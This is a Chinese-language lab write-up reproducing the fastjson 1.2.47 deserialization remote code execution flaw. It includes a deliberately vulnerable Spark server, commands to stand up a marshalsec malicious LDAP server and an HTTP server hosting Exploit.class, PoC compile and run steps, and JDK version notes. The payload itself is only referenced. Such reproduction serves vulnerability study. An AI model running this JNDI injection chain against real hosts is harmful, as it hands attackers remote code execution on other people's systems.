這兩天爆出了 fastjson 的老洞,復現簡單記錄一下。
首先使用 spark 搭建一個簡易的利用 fastjson 解析 json 的 http server。
package cn.hacktech.fastjsonserver;
import com.alibaba.fastjson.JSON;
import static spark.Spark.*;
public class Main {
public static void main(String[] args) {
get("/hello", (req, res) -> "spark server start success");
post("/test", (req, res) -> {
String payload = req.body();
JSON.parse(payload);
return "json payload:" + payload;
});
}
}
編譯出來后,啟動這個 jar,在 /test
這個 post 點即可 post json payload。
然后這里分兩類:
- 如果只是想檢測漏洞是否存在,可以使用 dnslog 去檢測
- 利用的話,需要自己起一個惡意的 ldap 或者 rmi 服務
本機需要起一個 LDAP 服務和 http 服務
poc-->LDAP-->http
poc 會通過上面的路徑去請求你的 http 服務上面的對應的 class 文件然后去解析執行這個 class
啟動 LDAP 用的 marshalsec,會比較方便。
- 在本目錄下啟動 http server 在 80 端口
python -m http.server 80
- 啟動 LDAP 服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit
后面的 Exploit 是指 Exploit.class 文件
- 運行 PoC,它會請求 LDAP 服務,或者直接把 json payload post 到
/test
java -cp fastjson-1.2.47.jar; PoC
其中代碼編譯的話,直接執行 javac the.java
即可,不過 PoC.java 的編譯需要引入 fastjson jar 包,運行 javac -cp ./fastjson-1.2.47.jar PoC.java
具體的細節可見代碼打包文件
復現遇到一些坑
這次的這個洞是有 jdk 版本要求的。
最開始我在我本機測試通過,原因是因為它請求不到 class 的時候會去本目錄下進行一個查找,也就是並沒有經過 http 服務器。
所以想要復現這個漏洞的話,需要 target 主機上面的 jdk 版本有嚴格的要求,具體見下圖
所以建議復現流程是
建議復現流程
- 起一個虛擬機專門用來運行我寫的那個簡易的 fastjsonserver,或者你可以直接在虛擬機上面執行 PoC,關鍵在於 target 機器的 jdk 版本。
- 你可以在本機起 ldap/rmi 服務以及 http 服務,或者全部在虛擬機上運行也可以,但是一般真實情況下我們是在外部構造惡意的 ldap/rmi 以及 http server,所以建議這步放到虛擬機外運行。
- 根據你的網絡環境修改 PoC。
- 然后 post payload 或者運行 PoC,即可看到虛擬機上彈出了計算器。
低版本的java 8u112
鏈接: https://pan.baidu.com/s/1Q3lGG2b4I8aTXpQbmvK2dw 提取碼: 36mm
復現視頻鏈接:復現流程.zip